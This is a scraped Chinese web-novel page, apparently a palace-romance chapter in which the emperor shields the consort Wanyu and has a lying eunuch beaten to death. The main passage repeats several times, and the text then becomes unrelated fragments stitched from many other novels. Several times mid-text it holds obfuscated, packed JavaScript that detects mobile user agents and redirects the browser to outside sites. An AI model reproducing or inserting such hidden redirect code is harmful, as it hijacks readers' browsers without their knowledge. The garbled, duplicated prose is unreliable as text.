胡尽忠领命,立刻打发人去传徐清盏和赵德全,当时还有谁和赵德全一起,也要一个不落全都叫过来。 祁让缓缓走到晚余跟前,解下自己的狐裘披风给她盖在了身上。 晚余的身子动了动,艰难地掀起眼皮看了他一眼。 在看清他的脸之后,眼里迅速蒙上一层水雾,长睫轻轻一眨,一滴泪倏忽落下,顺着她惨白如纸的脸颊滑进了她渗血的唇角。 祁让心头蓦地一颤,仿佛那滴泪落在了他心尖上。 他保持着弯腰的姿势,修长微凉的手指去触碰晚余的唇。 他以为晚余又会本能地躲开。 可晚余不知是没有力气,还是太委屈,破天荒地没有躲避,就那样静静地看着他,眼中无限悲凉。 祁让的心被她这一个眼神看得发紧,发疼,指尖轻轻抹去她唇角的血迹。 疼不疼? 他张口想要问出这句话。 可晚余没等他问出来,已经又把眼睛闭了起来。 祁让的话堵在嗓子眼,最终还是咽了回去,慢慢直起腰,仍是一派波澜不惊的王者气度。 仿佛刚刚那短暂的动容从不曾发生。 兰贵妃和康嫔见皇上当着众人的面把披风盖在了江晚余身上,心里说不上来是什么滋味。 她们同样都是皇上的女人,皇上一年到头也不翻几回她们的牌子,床榻间都听不到他一句甜言蜜语,更不要说把披风给她们穿。 江晚余整天躲皇上跟躲瘟神一样,心里眼里都没有皇上,皇上偏要上赶着宠她,明知她和徐清盏私下见面,还巴巴的跑来维护她。 这可真是人比人,气**。 瞧皇上看她的眼神,感觉这案子都不用审了,直接判她无罪就行了。 既然如此,皇上怎么不索性为了她遣散六宫,把她当祖宗一样供起来? 太后提心吊胆,唯恐晚余下一刻就会说出晋王的事,忙不迭地向祁让提议道: “天寒地冻的,一直在外面等着也不是个事儿,依哀家看,还是挪到殿里去吧,江采女身子本来就虚弱,万一冻出个好歹,就算后面证明了她的清白又有何用? “是啊皇上,挪到殿里去吧!胡尽忠也点头哈腰地过来相劝,“这么冷的天儿,冻着江采女事小,冻着太后和皇上就不好了。 祁让略一思索,点头道:“那就进去吧! 胡尽忠应了一声,弯腰打算去抱晚余。 祁让一个眼刀子扫过去,吓得他一个激灵,连滚带爬 地退到了一边。 这回实在不是他没眼色,他是想着,太后和贵妃都在呢,皇上总不能大庭广众的亲力亲为吧? 可事实证明,皇上就是要亲力亲为。 叫他找谁说理去? 他臊眉耷眼地看着祁让将晚余抱在怀里往正殿去,回头吩咐人给紫苏松绑,又招手叫来梅霜,让她和紫苏跟进去服侍。 “好丫头,你今天立了大功,回头咱家让皇上重重赏你。”他小声对梅霜说道,还悄悄冲她比了个大拇指。 “多谢公公。”梅霜怯怯地应了一声,和紫苏一起走了。 康嫔看着不知从哪里冒出来的梅霜,心头跳了一跳。 皇上来得这样快,难不成是这丫头去报的信儿? 可皇上那会子正上朝呢,这丫头胆小如鼠,怎么敢跑到金銮殿上去报信儿? 正想着,袖子被人拉住,兰贵妃在她耳边小声道:“等会儿不管怎么样,你都要咬**那个野男人。” 康嫔回过神,点了点头:“娘娘放心,臣妾知道该怎么做。” 进了大殿,祁让叫人抬了软榻过来,把晚余放在榻上,自个和太后一起在主位落坐。 康嫔和兰贵妃不敢坐,在太后身旁侍立。 宫女奉来热茶,祁让把自己的一杯递给了紫苏,让她去喂晚余喝下。 康嫔和兰贵妃见状,心又凉了半截。 少顷,胡尽忠在外面禀报,说徐清盏和赵德全来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361845|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 祁让叫他们进来回话。 赵德全打头走了进来,同他一起来的,还有先前在宫道上殴打徐清盏的几个太监。 徐清盏走在最后面,一进门看到趴在软榻上的晚余,眉心便不自觉拧起。 祁让的视线掠过赵德全几人,不动声色地打量他。 徐清盏只是瞬间的失态,很快便恢复如常,和赵德全几人下跪行礼。 祁让没叫他们起来,锐利的目光落在赵德全身上:“说吧,到底怎么回事?” 赵德全心虚地看了兰贵妃一眼。 众目睽睽之下,兰贵妃也不敢给他太多提示,只道:“你实话实说便是,和本宫怎么说的,就和皇上怎么说,一句都不能落下。” “是。”赵德全应了一声,战战兢兢地把自己和兰贵妃说的话又说了一遍。 他真没想到事情会闹成这样。 他对兰贵妃造江采女和徐清盏的谣,一来是因为那些炭摔碎了不少,他没法交差,二来是想让兰贵妃教训教训他们两个,替自己出一口恶气。 谁知道兰贵妃竟要借机把江采女往死里整,还惊动了太后和皇上。 他现在骑虎难下,只能硬着头皮把谎话说下去。 临时改口的话,不仅得罪了兰贵妃,还会落个诽谤宫妃的罪名,掉脑袋都是轻的。 祁让平静地听完了他的话,又去问另外几个太监:“你们当时都在场,他说的是真的吗?” 天威之下,几个太监吓得抖如筛糠。 他们只是最底层的杂役,在场的一个都得罪不起。 说实话得罪贵妃娘娘,说谎话是欺君之罪,左右都是个死。 早知道事情闹成这样,就不跟着赵德全欺负徐清盏了,现在真是悔青了肠子都无济于事。 祁让观他们脸色,就知道赵德全说了假话,挑眉淡淡道:“朕赏罚分明,知道你们身不由己,你们现在说实话,朕保证不追究你们任何责任,非要等到朕动了大刑的时候再招供,一切就都晚了。” 第144章 朕就是那个野男人 几个太监几乎不假思索地反了水,趴在地上磕头如捣蒜,说他们只是帮着赵德全打了徐清盏,别的什么都没干过,他们打徐清盏的时候,江采女并不在场,江采女是后来路过那里叫停了他们。 赵德全面如死灰,想狡辩都开不了口,求助地看向兰贵妃。 兰贵妃抓起茶盏向他砸过去:“好你个大胆的奴才,竟敢挑拨离间,欺瞒本宫,本宫信了你的话,差点酿成大错,倘若江采女有个三长两短,你全家的脑袋都不够砍!” 赵德全不敢躲闪,茶盏正好砸在他脑门上,砸得他头破血流。 “皇上饶命,娘娘饶命……”他趴在地上哭求,“奴才虽然说了谎,但奴才的话也不全是假话,奴才给贵妃娘娘领的炭确实是被徐清盏撞翻的。 江采女虽然没有当着奴才的面和徐清盏搂搂抱抱,但她把奴才们赶走之后,和徐清盏在宫道上说了半天话,还给徐清盏擦眼泪,她的帕子也给了徐清盏,奴才在墙角看得真真切切。” 祁让立刻皱起了眉头,沉着脸看向徐清盏,语气森冷道:“徐清盏,是这样吗?” 徐清盏跪在地上,腰背挺得笔直:“回皇上的话,没有这回事,江采女替奴才赶走了赵德全之后就离开了,奴才谨记着皇上的吩咐,不敢与江采女有任何接触,今日遇见纯属巧合。” “你胡说,怎么没有,我亲眼看见的!”赵德全趴在地上拼命磕头,“皇上,奴才说的都是真的,请皇上相信奴才。 奴才真的看见江采女给徐清盏擦眼泪了,皇上不信的话可以搜徐清盏的身,搜他的住处,他心悦江采女,断不舍得扔掉江采女的帕子。” 此言一出,康嫔和兰贵妃不约而同眼睛一亮。 赵德全死不死她们不在乎,但若真从徐清盏身上搜出江晚余的帕子,这私相授受的罪名就板上钉钉了。 她们就不信,皇上连这种事都能忍得了。 “皇上,搜身也不费什么事,为了江采女的清白,皇上就让人搜一搜吧,倘若没搜到,就把赵德全这狗东西拉出去砍了,也算是江采女出了气。”康嫔急不可耐地提议道。 兰贵妃自然紧跟着附和:“臣妾也建议搜一搜,事情刚发生没多久,若真如赵德全所说,帕子应该还在徐清盏身上。” 祁让面沉如水,视线在徐清盏和晚余之间扫了几个来回。 晚余一直安安静静地趴在软榻上,脸上没有一丝血色,也没有任何表情,就连祁让这双能看穿人心的眼睛,此刻都看不透她心中所想。 “你 自己说,有没有这回事?”祁让问她,语气带着诱哄,“朕对你有多宽容你最清楚,只要你说实话,朕无论如何都能原谅你。” 晚余没说话,只是轻轻勾了勾唇,似乎是在嘲笑他的话语。 祁让心中无名火起,没耐烦再问她,直接让胡尽忠去搜徐清盏的身,同时又打发人往徐清盏的住处去搜。 胡尽忠从前很怕徐清盏,也没少在徐清盏跟前吃瘪,这回轮到他在徐清盏跟前显摆,心里却十分矛盾。 他既希望从徐清盏身上搜出帕子,让皇上好好的惩罚徐清盏,又怕真的搜出帕子,连带着江采女也要受罚。 他虽然整天为了皇上算计江采女,但也是真心希望江采女和皇上恩恩爱爱的。 万一真有帕子,江采女还能好吗? 皇上不得已罚了江采女之后,心情也不会好,到时候,苦的还是他们这些伺候的人。 怀着这样矛盾的心情,他还是仔仔细细地搜了徐清盏的身。 因为他最终效忠的还是皇上,不能在皇上跟前打马虎眼。 然而,他把徐清盏上上下下都搜了一遍,却什么也没搜到。 “皇上,没有,什么也没有。”他如实向祁让禀报,说不清是失望还是松了口气。 康嫔和兰贵妃的失望却几乎要掩饰不住。 等到去搜徐清盏住处的太监也空手而回时,两人更是失望到了极点。 赵德全也傻了眼,惊慌大喊:“不可能,这不可能,我明明亲眼看见的,皇上,奴才罪该万死,但这件事奴才真的没有说谎。” 祁让深吸一口气,看他的眼神像看一具尸体,缓缓抬手下达命令:“拖出去,乱棍打死!” “是!”胡尽忠应了一声,招手叫了两个太监过来,把赵德全捂着嘴拖了出去。 院子里很快传来棍子打在身上那种沉闷的声响,屋里的几个太监已经吓得面如土灰。 兰贵妃的脸色也很不好看,悄悄给康嫔使了个眼色。 康嫔这会子也有点害怕,还是壮着胆子道:“皇上,赵德全固然该死,可这并不能证明江采女的清白,她身上的痕迹就是铁证,即便没和徐清盏私通,肯定也有别的野男人,请皇上明察!” “是啊皇上,赵德全的事小,江采女秽乱宫闱才是大事,请皇上详细盘问,一定要把那个野男人揪出来。”兰贵妃附和道。 太后以为赵德全一死,这事就告一段落,没想到康嫔和兰贵妃还在揪着江晚余身上的痕迹不放。 她不禁又开始担心,那痕迹是不是晋王弄出来的。 正想着说些什么为晚余开脱,祁让突然冷着脸幽幽道:“朕就是那个野男人,你们满意了吗?” 自己说,有没有这回事?”祁让问她,语气带着诱哄,“朕对你有多宽容你最清楚,只要你说实话,朕无论如何都能原谅你。” 晚余没说话,只是轻轻勾了勾唇,似乎是在嘲笑他的话语。 祁让心中无名火起,没耐烦再问她,直接让胡尽忠去搜徐清盏的身,同时又打发人往徐清盏的住处去搜。 胡尽忠从前很怕徐清盏,也没少在徐清盏跟前吃瘪,这回轮到他在徐清盏跟前显摆,心里却十分矛盾。 他既希望从徐清盏身上搜出帕子,让皇上好好的惩罚徐清盏,又怕真的搜出帕子,连带着江采女也要受罚。 他虽然整天为了皇上算计江采女,但也是真心希望江采女和皇上恩恩爱爱的。 万一真有帕子,江采女还能好吗? 皇上不得已罚了江采女之后,心情也不会好,到时候,苦的还是他们这些伺候的人。 怀着这样矛盾的心情,他还是仔仔细细地搜了徐清盏的身。 因为他最终效忠的还是皇上,不能在皇上跟前打马虎眼。 然而,他把徐清盏上上下下都搜了一遍,却什么也没搜到。 “皇上,没有,什么也没有。”他如实向祁让禀报,说不清是失望还是松了口气。 康嫔和兰贵妃的失望却几乎要掩饰不住。 等到去搜徐清盏住处的太监也空手而回时,两人更是失望到了极点。 赵德全也傻了眼,惊慌大喊:“不可能,这不可能,我明明亲眼看见的,皇上,奴才罪该万死,但这件事奴才真的没有说谎。” 祁让深吸一口气,看他的眼神像看一具尸体,缓缓抬手下达命令:“拖出去,乱棍打死!” “是!”胡尽忠应了一声,招手叫了两个太监过来,把赵德全捂着嘴拖了出去。 院子里很快传来棍子打在身上那种沉闷的声响,屋里的几个太监已经吓得面如土灰。 兰贵妃的脸色也很不好看,悄悄给康嫔使了个眼色。 康嫔这会子也有点害怕,还是壮着胆子道:“皇上,赵德全固然该死,可这并不能证明江采女的清白,她身上的痕迹就是铁证,即便没和徐清盏私通,肯定也有别的野男人,请皇上明察!” “是啊皇上,赵德全的事小,江采女秽乱宫闱才是大事,请皇上详细盘问,一定要把那个野男人揪出来。”兰贵妃附和道。 太后以为赵德全一死,这事就告一段落,没想到康嫔和兰贵妃还在揪着江晚余身上的痕迹不放。 她不禁又开始担心,那痕迹是不是晋王弄出来的。 正想着说些什么为晚余开脱,祁让突然冷着脸幽幽道:“朕就是那个野男人,你们满意了吗?” 自己说,有没有这回事?”祁让问她,语气带着诱哄,“朕对你有多宽容你最清楚,只要你说实话,朕无论如何都能原谅你。” 晚余没说话,只是轻轻勾了勾唇,似乎是在嘲笑他的话语。 祁让心中无名火起,没耐烦再问她,直接让胡尽忠去搜徐清盏的身,同时又打发人往徐清盏的住处去搜。 胡尽忠从前很怕徐清盏,也没少在徐清盏跟前吃瘪,这回轮到他在徐清盏跟前显摆,心里却十分矛盾。 他既希望从徐清盏身上搜出帕子,让皇上好好的惩罚徐清盏,又怕真的搜出帕子,连带着江采女也要受罚。 他虽然整天为了皇上算计江采女,但也是真心希望江采女和皇上恩恩爱爱的。 万一真有帕子,江采女还能好吗? 皇上不得已罚了江采女之后,心情也不会好,到时候,苦的还是他们这些伺候的人。 怀着这样矛盾的心情,他还是仔仔细细地搜了徐清盏的身。 因为他最终效忠的还是皇上,不能在皇上跟前打马虎眼。 然而,他把徐清盏上上下下都搜了一遍,却什么也没搜到。 “皇上,没有,什么也没有。”他如实向祁让禀报,说不清是失望还是松了口气。 康嫔和兰贵妃的失望却几乎要掩饰不住。 等到去搜徐清盏住处的太监也空手而回时,两人更是失望到了极点。 赵德全也傻了眼,惊慌大喊:“不可能,这不可能,我明明亲眼看见的,皇上,奴才罪该万死,但这件事奴才真的没有说谎。” 祁让深吸一口气,看他的眼神像看一具尸体,缓缓抬手下达命令:“拖出去,乱棍打死!” “是!”胡尽忠应了一声,招手叫了两个太监过来,把赵德全捂着嘴拖了出去。 院子里很快传来棍子打在身上那种沉闷的声响,屋里的几个太监已经吓得面如土灰。 兰贵妃的脸色也很不好看,悄悄给康嫔使了个眼色。 康嫔这会子也有点害怕,还是壮着胆子道:“皇上,赵德全固然该死,可这并不能证明江采女的清白,她身上的痕迹就是铁证,即便没和徐清盏私通,肯定也有别的野男人,请皇上明察!” “是啊皇上,赵德全的事小,江采女秽乱宫闱才是大事,请皇上详细盘问,一定要把那个野男人揪出来。”兰贵妃附和道。 太后以为赵德全一死,这事就告一段落,没想到康嫔和兰贵妃还在揪着江晚余身上的痕迹不放。 她不禁又开始担心,那痕迹是不是晋王弄出来的。 正想着说些什么为晚余开脱,祁让突然冷着脸幽幽道:“朕就是那个野男人,你们满意了吗?” 自己说,有没有这回事?”祁让问她,语气带着诱哄,“朕对你有多宽容你最清楚,只要你说实话,朕无论如何都能原谅你。” 晚余没说话,只是轻轻勾了勾唇,似乎是在嘲笑他的话语。 祁让心中无名火起,没耐烦再问她,直接让胡尽忠去搜徐清盏的身,同时又打发人往徐清盏的住处去搜。 胡尽忠从前很怕徐清盏,也没少在徐清盏跟前吃瘪,这回轮到他在徐清盏跟前显摆,心里却十分矛盾。 他既希望从徐清盏身上搜出帕子,让皇上好好的惩罚徐清盏,又怕真的搜出帕子,连带着江采女也要受罚。 他虽然整天为了皇上算计江采女,但也是真心希望江采女和皇上恩恩爱爱的。 万一真有帕子,江采女还能好吗? 皇上不得已罚了江采女之后,心情也不会好,到时候,苦的还是他们这些伺候的人。 怀着这样矛盾的心情,他还是仔仔细细地搜了徐清盏的身。 因为他最终效忠的还是皇上,不能在皇上跟前打马虎眼。 然而,他把徐清盏上上下下都搜了一遍,却什么也没搜到。 “皇上,没有,什么也没有。”他如实向祁让禀报,说不清是失望还是松了口气。 康嫔和兰贵妃的失望却几乎要掩饰不住。 等到去搜徐清盏住处的太监也空手而回时,两人更是失望到了极点。 赵德全也傻了眼,惊慌大喊:“不可能,这不可能,我明明亲眼看见的,皇上,奴才罪该万死,但这件事奴才真的没有说谎。” 祁让深吸一口气,看他的眼神像看一具尸体,缓缓抬手下达命令:“拖出去,乱棍打死!” “是!”胡尽忠应了一声,招手叫了两个太监过来,把赵德全捂着嘴拖了出去。 院子里很快传来棍子打在身上那种沉闷的声响,屋里的几个太监已经吓得面如土灰。 兰贵妃的脸色也很不好看,悄悄给康嫔使了个眼色。 康嫔这会子也有点害怕,还是壮着胆子道:“皇上,赵德全固然该死,可这并不能证明江采女的清白,她身上的痕迹就是铁证,即便没和徐清盏私通,肯定也有别的野男人,请皇上明察!” “是啊皇上,赵德全的事小,江采女秽乱宫闱才是大事,请皇上详细盘问,一定要把那个野男人揪出来。”兰贵妃附和道。 太后以为赵德全一死,这事就告一段落,没想到康嫔和兰贵妃还在揪着江晚余身上的痕迹不放。 她不禁又开始担心,那痕迹是不是晋王弄出来的。 正想着说些什么为晚余开脱,祁让突然冷着脸幽幽道:“朕就是那个野男人,你们满意了吗?” 自己说,有没有这回事?”祁让问她,语气带着诱哄,“朕对你有多宽容你最清楚,只要你说实话,朕无论如何都能原谅你。” 晚余没说话,只是轻轻勾了勾唇,似乎是在嘲笑他的话语。 祁让心中无名火起,没耐烦再问她,直接让胡尽忠去搜徐清盏的身,同时又打发人往徐清盏的住处去搜。 胡尽忠从前很怕徐清盏,也没少在徐清盏跟前吃瘪,这回轮到他在徐清盏跟前显摆,心里却十分矛盾。 他既希望从徐清盏身上搜出帕子,让皇上好好的惩罚徐清盏,又怕真的搜出帕子,连带着江采女也要受罚。 他虽然整天为了皇上算计江采女,但也是真心希望江采女和皇上恩恩爱爱的。 万一真有帕子,江采女还能好吗? 皇上不得已罚了江采女之后,心情也不会好,到时候,苦的还是他们这些伺候的人。 怀着这样矛盾的心情,他还是仔仔细细地搜了徐清盏的身。 因为他最终效忠的还是皇上,不能在皇上跟前打马虎眼。 然而,他把徐清盏上上下下都搜了一遍,却什么也没搜到。 “皇上,没有,什么也没有。”他如实向祁让禀报,说不清是失望还是松了口气。 康嫔和兰贵妃的失望却几乎要掩饰不住。 等到去搜徐清盏住处的太监也空手而回时,两人更是失望到了极点。 赵德全也傻了眼,惊慌大喊:“不可能,这不可能,我明明亲眼看见的,皇上,奴才罪该万死,但这件事奴才真的没有说谎。” 祁让深吸一口气,看他的眼神像看一具尸体,缓缓抬手下达命令:“拖出去,乱棍打死!” “是!”胡尽忠应了一声,招手叫了两个太监过来,把赵德全捂着嘴拖了出去。 院子里很快传来棍子打在身上那种沉闷的声响,屋里的几个太监已经吓得面如土灰。 兰贵妃的脸色也很不好看,悄悄给康嫔使了个眼色。 康嫔这会子也有点害怕,还是壮着胆子道:“皇上,赵德全固然该死,可这并不能证明江采女的清白,她身上的痕迹就是铁证,即便没和徐清盏私通,肯定也有别的野男人,请皇上明察!” “是啊皇上,赵德全的事小,江采女秽乱宫闱才是大事,请皇上详细盘问,一定要把那个野男人揪出来。”兰贵妃附和道。 太后以为赵德全一死,这事就告一段落,没想到康嫔和兰贵妃还在揪着江晚余身上的痕迹不放。 她不禁又开始担心,那痕迹是不是晋王弄出来的。 正想着说些什么为晚余开脱,祁让突然冷着脸幽幽道:“朕就是那个野男人,你们满意了吗?” 自己说,有没有这回事?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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康嫔这会子也有点害怕,还是壮着胆子道:“皇上,赵德全固然该死,可这并不能证明江采女的清白,她身上的痕迹就是铁证,即便没和徐清盏私通,肯定也有别的野男人,请皇上明察!” “是啊皇上,赵德全的事小,江采女秽乱宫闱才是大事,请皇上详细盘问,一定要把那个野男人揪出来。”兰贵妃附和道。 太后以为赵德全一死,这事就告一段落,没想到康嫔和兰贵妃还在揪着江晚余身上的痕迹不放。 她不禁又开始担心,那痕迹是不是晋王弄出来的。 正想着说些什么为晚余开脱,祁让突然冷着脸幽幽道:“朕就是那个野男人,你们满意了吗?” 第145章 给江采女晋一晋位分吧! 从开门做生意到关门,不足一柱香的时间,别说在这天孤城,怕是放在整个通灵域都绝对能创记录的。 陈老师松开我的手“走吧,走吧,你也要保护好自己。”说完陈老师转身离去。 当然,今天拍这块地,请客吃饭那是必须的事情,所以在出了拍卖大厅之后,我便打电话吩咐卢毅去组织饭局,今天大家一起庆祝。 “如果你是天帝,在天帝境时的遗蜕,我自然奈何不了你,可惜你只是他仙王境前的遗蜕……”典风冷笑。 做我们这一行的,根本就没有什么花架子可言,妈的你要是上来刷花架子,直接被别人一刀就劈了。 按陈肖然所知,酥晴那家伙可是敢在公寓里裸奔的,这样开放的她怎么会在公寓里怎么可能会反锁自己卧室? 对此,米雪也是微微有些吃惊,不久前她才跟那个天下公会的公会会长天下见过面,从交谈之中来看,天下想要参与破坏的想法居多。 “换上他们的衣服,从现在开始,没有我的命令,谁也不许开口。”向罡天那些外域人留下的星云戒,从中取出些衣袍让三人换上。当然,他自己也是没有例外。 与此同时,罗昊脚下法力,一跃至半空,双拳舞动间,带着滚滚雷电之力对着毒公子轰出两道的电芒chan绕地拳影。 “咝!”其他几人,也是倒吸了一口凉气,看着这一幕十分震撼。 “瞧你那么紧张的劲儿,看来是已经有心上人了。”随即清风将画抛给了安景。 安景不由震惊,可是她这么做的目的是什么呢,不能照常参加多国会盟比试对她又有什么好处呢,难道输了对安洛国会有什么好事情吗!安景对柳时砚的行为表示不可思议。 赵锋居安思危,不能放松警惕,想要主动出击,又惹不起孙九旭,豪门孙家底蕴深厚,有数百亿资产,要挑战这等庞然大物,他还不够资格。 这钱自己绝不能拿,没看到身后杨老六等人看自己的诧异目光吗? 安景倒是没有兴致看这些搔首弄姿的舞蹈,只顾着自己在一旁打盹儿。姬若琳与谢焱也默默的低头吃着碗里的菜,只有孟子衿双眼直勾勾的看着绿意公子。 这时候松林去付钱,心里面当然也还是想着郑惜现在的样子,心说怪不得这样郑惜姑娘能一直让他家王爷这样好奇,她的花样还真挺多的。 统一民族战线成立以后,延安方面几乎所有的高级将领都被中统军统挂了号。 豪华车队浩浩荡荡返程,劳斯莱斯停在爆熊大厦门前,墨镜保镖下车组成人墙,整齐撑起黑伞,掩护赵锋下车。 吃瓜网友都惊呆了,被死耗子刷新了三观,随着水军带节奏,开始疯狂讨伐大麦饮品,骂得大麦饮品登上热搜。 他从年轻开始,纵横商场数十年,各大酒店都去过,从来就没吃过这么好吃的东西。 这一次,不只是孟家全家人,包括谢寒山,都恭恭敬敬的在大门口列队迎接着江枫的到来。 关谷神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15368907|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇这个外国友人和陆展博这高智商低情商的家伙都看出来不对劲了。 “今天就到这里,我送你回家。”傅昂知道她是故意的,脸色也沉了下来。 地狱老者凄厉的惨叫在周围响起,从它的声音能听出它此时十分惊恐,也十分恐惧,它喊的尤为惨烈,就像是**爹娘一样。 江枫周身闪烁着冰冷的芒光,右手掌玄气弥漫,屡屡上升,像是一尊高傲的战神,让马涛看的震惊无比。 自己发热也就算了,害的他浑身跟着火一样,若非如此,他那尾巴也不会不受他控制。 玉家主听到这个消息的时候也是很震惊,只不过在玉夫人一口一个质问,毫无尊敬的情况下,他眉眼之间不由得闪过了一丝厌恶,觉得对方实在是太过于蛮横,又想起他那温柔的妾室,和对方一对比更是出挑了几分。 他还没来得及接着说什么,打头那个白白胖胖的青年走上前来,递上一张印着官印的纸。 “这种事情都忘记了,我看你根本就没把我放心上!”柳茹茵摆出一副不悦的表情。 “年轻人,你的脑袋长在脖子上,除了用了吃饭,还是用来思考问题的好吧。你丫不会自己想?”6羽没好气道。 之后的一个月里,‘弑天帝’居然只在星竹那里过了三次夜,其余的姐妹更少,余下的时间,都去‘新副宫’那里了。 只见薛浩手持龙泉,身子一跃便只脚踩在墙壁之前,“咔嚓”,墙壁在巨力下震得龟裂,而后薛浩便飞向男子。 第146章 想要一碗避子汤 司马噎了一下用古怪的眼神瞧着十三娘发现她眼眸澄澈坦荡内心复杂了。 公子哥看着和桌子上的东西一愣这时候他才明白这张桌子为什么会和武林大会有关系。 除去这两物据我猜测宋家的地底应该埋有烈阳石不断的释放出炙热的阳气抵消了经过的吸纳之力。 卫涵一脸不敢置信地看着自己的手臂他原以为解决赵铸只是会多花费一些手脚但是却没想到竟然是让自己变得这么狼狈甚至还受了这么严重的伤。 哪怕是她还爱着那个骚包但如今的恨意也不会比爱意少而且显然已经不会再回头了。 旗子陡然变大化作一杆青铜旗杆大旗旗面卷着俊俏青年叮叮当当挡住了袭来的羽箭。 “心愿了了之后自己去投胎不然在遇到我必然让你灰飞烟灭!”我冷冷的说道。 卜鹰有一个秘密这个秘密几乎没有任何人知道只要皇宫内任何一人知道这个秘密卜鹰的‘性’命就会不保。 其实这次他伤的并不像表面上看起来那么严重主要中间的时候为了上buff不得不硬吃了雷泽涛一击后来和雷泽涛互拼起内力来反倒几乎没有消耗在王胜男的帮助下不到天亮就已经好的七七八八了。 他身上的枪伤本来就有发炎的症状他硬凭着一股劲儿撑着亲自到救援的第一线。 可是店长也为难人家陆艳干的好好的 胡博一生气就把贾萍的手机给砸了还说只要他活着休想离婚。 李猛尴尬的搔了搔头想要为自己辩解却是不争气的打了一个酒嗝弄得屋内都是酒味。 以大字型躺在柔软的蚕丝被上脑中变得空白的陈今感觉最近的压力、烦恼全部一扫而空。 不知道烟熏的还是腊月的寒风太凉此时宁宙的眼睛通红。他的脸色也异常苍白。 “顾心蕊那个叫宁宙的男人在看我们。”兰迪忽然揽着顾心蕊的肩膀指着主席位的宁宙说道。 “那我姑且等着那一天。”陆清漪一边说着一边挑着妆奁里面的耳坠最终拿起一对白玉耳坠。 如果她没有野心如果宁家没有宁宙宁缜是个很好的结婚对象她会是个得力助手。 但是在银色的月光下,少年如雕塑一般,僵硬的半跪着,血水染红了他半边的身子,脸上伤痕累累,搂着早就失去了生命力的尸体,附近都是满地的尸首。 战场中央的龙王开启技能星穹暴涨之后直接r闪大招星弦高落将波比以及李玟的卢锡安击退,同时配合落地的韦鲁斯不断输出,而被迫和李玟的卢锡**开距离的卡尔玛以及塔姆却是被敌方的上单慎给追着砍。 作为团长的胜宇,虽然她也是不想接受男人的东西,但是,她的心里有一种直觉,跟这个男人打好关系,对于她们佣兵团的发展,绝对是有着非常大的帮助的,为了这一直觉,她今天也作出了反常的举动。 他们考察和采访的具体目标就是岳州凯莱国际以及岳州的整体社会和治安环境。 大概一盏茶的时间过去了,墨苒同时将两道菜盛了出来,放在之前那两道菜的旁边。 攻击和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15368908|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质疑,这两样一直陪伴在亦阳整个职业生涯中的东西,再度出来作祟。所以说在NBA,无论你砍下多么夸张的数据都是虚的。唯有胜利,才是真理。 “好的,师父!”我也不在乎多一个名字,心想,师父他老人家还是很不错的,保留了我的剑字。如果他老人家非得给我取名叫拓裤,那我也只能被人耍流氓了。 他戴上了墨镜,面无表情的带着子阳来到了之前墨苒给他建的新家门前,叩了叩门。 他四周有许多人驻足,有仁清、沙睿、孙华君、雪衣仙子和传景明等人,也有黑亦辰见过的石灵族的长老石桦、净土神山的掌门人净空大师,也有许多黑亦辰并不认识的颇有身份之人,一个个脸色沉重,不时唉声叹气。 而此时,走廊处,回锅肉终于找到了正在闲逛的刹那,此时她正与阿白观看场内的比赛,她知道只要凛华有危险,阿白一定会出手的。 “坐吧。”那个孩童,依旧操着一口童音说道。所有人对其恭恭敬敬,怎么看都感觉别扭。 “呼啦!”一大片近战玩家立刻冲了上去,刀砍斧劈,技能像是不要钱一般的剁在了B的身上。 众人倏然一惊,一齐朝季凯瑞面对的方向望去,骇然看到,几只形状骇异的怪兽出现在了不远处的街道上,还有几只从建筑物的屋顶上钻了出来。 “仇天这人十分神秘,估计你们也已经看出来了,以你们的实力根本就不可能将他收服,所以我劝你们回去之后赶紧搬救兵吧,否则自己连**的都不知道!”我叹着气对**二人说道。 第一卷 第147章 为什么不愿意给朕生孩子 梅霜走后,紫苏把江太医留下的药膏给晚余仔仔细细擦在伤处,又给她换了干净的寝衣,叫她先睡一会儿,等梅霜取药回来,再叫醒她。 “刚才是怎么回事?”独狼愣愣的看着,他有点没反应过来是怎么回事。 往前方更远的地方望去,天道盟三人步履维艰的一步步朝着楼梯口处走去,第六层的阵法压制之力非常人能够抵御,一身修为恐怕只能发挥五六层的样子。 灵犀山上,分神庙前,灵溪里的灵液自动飞入他的四肢百骸奇经八脉,滋润他极度耗损伤痕累累的身体,让他不至于立即崩溃。 